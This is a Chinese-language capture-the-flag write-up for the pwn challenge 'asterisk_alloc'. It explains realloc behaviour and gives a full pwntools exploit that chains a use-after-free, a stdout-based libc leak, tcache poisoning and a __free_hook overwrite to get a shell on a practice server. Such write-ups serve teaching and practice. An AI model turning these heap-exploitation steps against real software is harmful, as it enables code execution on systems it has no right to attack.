前置知识
realloc
函数的利用- 利用
unsortedbin
中残留的指针进行partial overwrite
,来劫持_IO_2_1_stdout
- 通过
_IO_2_1_stdout
进行输出
整体思路
realloc函数
realloc(ptr, new_size);
// realloc函数可以重新调整之前分配的内存块的大小。
// 若ptr为0且new_size > 0,则相当于malloc(new_size)
// 若new_size为0,则会将ptr进行free
// 若new_size非法,则会return NULL
// 若new_size < old_size - 0x20,则会chunk shrink,多余的部分会直接free
// 若new_size > old_size,高地址处的chunk为top chunk则直接扩展;高地址处为free状态的chunk,则需要后面free的chunk合并,判断切割后能否满足,否则直接申请新的chunk,复制到新的chunk中,将以前的chunk进行free
思路
观察程序,发现可以通过malloc/calloc/realloc
申请内存,同时delete
中存在uaf
。此外,malloc
和calloc
都只可以进行一次,而realloc
可以一直进行。但realloc
申请的内存的指针会放到bss
段一个固定地址,无法通过realloc
实现多次malloc
。但是,可以通过realloc
一个非法地址,从而使其返回NULL
,覆盖掉bss
段的固定地址,使其为NULL
。如此一来再次执行realloc
时,第一个参数将为NULL
,相当于可以无数次malloc
了。
有了无数次malloc
,便可以通过多次释放同一个chunk
填满tcache
到unsortedbin
,然后操纵unsortedbin
中残留的libc
地址来通过_IO_2_1_stdout
泄露libc
地址。
这之后就只需要通过double free
打tcache poisoning
就好了。
exp
from pwn import *
from LibcSearcher import *
filename = './TWCTF_online_2019_asterisk_alloc'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
def malloc(size, content):
sh.sendlineafter('Your choice: ', '1')
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Data: ', content)
def calloc(size, content):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Data: ', content)
def realloc(size, content):
sh.sendlineafter('Your choice: ', '3')
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Data: ', content)
def realloc_null(size):
sh.sendlineafter('Your choice: ', '3')
sh.sendlineafter('Size: ', str(size))
def delete(type):
sh.sendlineafter('Your choice: ', '4')
sh.sendlineafter('Which: ', type)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
def exp(sh):
# 申请一个大小为0x100的chunk
malloc(size=0xf0, content='a')
# 再申请一个大小为0x100的chunk,防止上一个在挂入unsortedbin的时候被top合并
realloc(size=0xf0, content='prevent_mergeing')
# 利用uaf连续free 8次,使得一个chunk被挂入unsortedbin
for i in range(8):
delete('m')
# 当输入值为-1的时候,由于输入不合法,会返回NULL,覆盖掉程序中realloc的指针。
realloc_null(size=-1)
# 由此,可以通过realloc重新申请chunk。这里两步通过unsortedbin中残留的libc地址,来partial overwrite其为_IO_2_1_stdout的地址,概率为1/16
realloc(size=0xd0, content='\x60\x87')
# 同理,先输入-1来清空指针,便可再次realloc申请不同的chunk
realloc_null(size=-1)
realloc(size=0xf0, content='aaa')
# 修改_IO_2_1_stdout,覆盖_IO_write_base的最低位为0,便可泄露出一些地址
realloc_null(size=-1)
payload = p64(0xfbad1887)
payload = payload.ljust(0x20, b'\x00') + p8(0)
realloc(size=0xf0, content=payload)
libc_leak = u64(sh.recv(16)[8:])
libc.address = libc_leak - 0x3ed8b0
leak_info('libc.address', libc.address)
# 接下来打free_hook即可
realloc_null(size=-1)
realloc(size=0x60, content='aa')
delete('r')
delete('r')
realloc_null(size=-1)
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
payload = p64(libc.sym['__free_hook'])
realloc(size=0x60, content=payload)
realloc_null(size=-1)
realloc(size=0x60, content='aa')
realloc_null(size=-1)
payload = p64(libc.address + one_gadget[1])
realloc(size=0x60, content=payload)
delete('r')
sh.interactive()
while True:
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', 26650)
try:
exp(sh)
except:
sh.close()
continue